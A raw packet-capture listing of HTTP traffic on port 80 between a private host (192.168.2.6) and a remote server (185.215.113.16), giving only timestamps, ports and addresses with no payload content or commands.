Nov 1, 2024 00:38:48.235038996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235080004 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235089064 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235127926 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235141039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235173941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235181093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235213041 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235224962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235259056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235265970 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235297918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235338926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235388041 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235394001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235435963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235438108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235474110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235490084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235523939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235538960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235570908 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235579014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235630989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235634089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235678911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235699892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235733986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235743999 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235768080 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235776901 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235810995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235820055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235853910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235865116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235891104 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235904932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235939026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.235948086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235980988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.235991001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236025095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236040115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236076117 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236078978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236112118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236124039 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236149073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236164093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236196995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236216068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236233950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236249924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236289978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236291885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236325026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236335039 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236356020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236375093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236392975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236397028 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236428022 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236442089 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236462116 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236473083 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236498117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236506939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236531973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236536026 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236567020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236577034 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236615896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236618996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236670017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236671925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236704111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236720085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236737967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236743927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236779928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236788988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236824989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236836910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236860037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236876011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236910105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236915112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236944914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.236954927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236985922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.236999989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237041950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237050056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237083912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237097025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237118959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237129927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237154007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237164974 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237185955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237195969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237220049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237230062 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237253904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237268925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237287045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237293005 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237322092 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237325907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237358093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237366915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237390995 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237395048 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237426043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237436056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237466097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237488031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237502098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237513065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237531900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237545013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237566948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237576008 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237603903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237615108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237638950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237649918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237673998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237685919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237708092 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237720966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237742901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237760067 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237776041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237802029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237808943 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237812996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237843990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237848043 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237884998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237900972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237920046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237921953 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237955093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237961054 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.237988949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.237993956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.238023996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.238032103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.238061905 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316205978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316262960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316283941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316293001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316303968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316318035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316325903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316328049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316342115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316349983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316374063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316418886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316646099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316656113 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316665888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316694975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316719055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316730976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316735029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.316737890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.316776037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351030111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351070881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351089954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351108074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351128101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351154089 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351165056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351186991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351521969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351598978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351627111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351639032 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351655960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351667881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351675034 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351679087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351686001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351691008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351696968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351702929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351706982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351710081 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351756096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351785898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351798058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351810932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351824999 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.351831913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351856947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.351883888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352112055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352157116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352238894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352253914 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352272987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352284908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352288008 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352298021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352309942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352312088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352323055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352336884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352341890 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352375031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352550030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352579117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352596998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352607012 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352608919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352628946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352637053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352644920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352658033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352663994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352670908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352683067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352685928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352694988 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352706909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352718115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352718115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352736950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352742910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352751017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352761984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352762938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352773905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352785110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352802038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352813959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352826118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352838039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352854013 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352854967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352874041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352883101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352883101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352883101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352886915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352900028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352907896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352912903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352925062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352936983 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352947950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.352955103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352987051 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.352994919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353007078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353018045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353030920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353039980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353072882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353141069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353152990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353164911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353177071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353188992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353192091 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353210926 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353238106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353323936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353341103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353369951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353394985 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353516102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353530884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353540897 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353564024 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353583097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353590965 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353596926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353607893 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353621960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353621960 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353641987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353642941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353653908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353668928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353676081 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353688955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353699923 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353702068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353715897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353738070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353760958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353773117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353785038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353796959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353797913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353809118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353830099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353831053 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353857994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353872061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353889942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353902102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353931904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353935003 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.353944063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.353981018 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433300972 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433356047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433391094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433393002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433412075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433429003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433438063 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433465004 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433470964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433507919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433521032 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433568001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433573961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433624029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433629036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433660030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433676004 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433708906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433711052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433746099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433758974 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433782101 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.433785915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.433829069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.468144894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.468197107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.468209028 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.468233109 CET	80	49887	185.215.113.16	192.168.2.6
